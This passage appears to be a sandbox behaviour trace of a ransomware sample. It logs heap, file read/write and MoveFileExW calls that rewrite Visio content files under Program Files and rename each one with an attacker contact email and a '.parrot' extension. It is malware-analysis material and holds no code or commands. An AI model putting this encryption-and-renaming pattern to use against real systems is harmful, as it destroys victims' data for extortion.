Size=0xaae2c) returned 0x2b30020 [0233.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0233.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100530) returned 0x2f90020 [0233.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WALL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wall_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WALL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wall_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.025] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.025] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0233.025] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0233.046] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0233.046] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0233.046] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0233.046] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0233.070] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.070] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.072] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.072] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0233.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0233.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0233.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0233.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0233.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0233.081] GetLastError () returned 0x0 [0233.112] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.112] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0233.117] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.117] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0233.119] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18b918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0233.119] CloseHandle (hObject=0x284) returned 1 [0233.119] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0233.119] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x319c088 [0233.119] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0233.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0233.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0233.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0233.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0233.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0233.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0233.129] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.129] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.130] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.131] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18800, lpOverlapped=0x0) returned 1 [0233.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0233.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0233.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0233.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0233.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0233.132] GetLastError () returned 0x0 [0233.139] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0233.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0233.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0233.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0233.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0233.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0233.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0233.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0233.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0233.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0233.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0233.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0233.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0233.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0233.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0233.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0233.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0233.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.148] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.148] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0233.148] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0233.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0233.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0233.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0233.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0233.211] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.211] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.212] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.213] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0233.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0233.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0233.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0233.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0233.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0233.221] GetLastError () returned 0x0 [0233.241] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.241] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0233.248] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.248] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0233.251] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0233.251] CloseHandle (hObject=0x284) returned 1 [0233.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0233.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x319c088 [0233.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0233.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0233.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0233.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0233.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0233.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0233.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0233.261] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.261] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.265] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.265] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18600, lpOverlapped=0x0) returned 1 [0233.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0233.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0233.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0233.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0233.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0233.266] GetLastError () returned 0x0 [0233.273] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0233.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0233.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0233.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0233.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0233.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0233.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0233.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0233.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0233.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0233.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0233.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0233.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0233.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0233.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0233.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0233.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0233.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0233.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0233.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0233.288] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.288] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.289] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.289] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12a00, lpOverlapped=0x0) returned 1 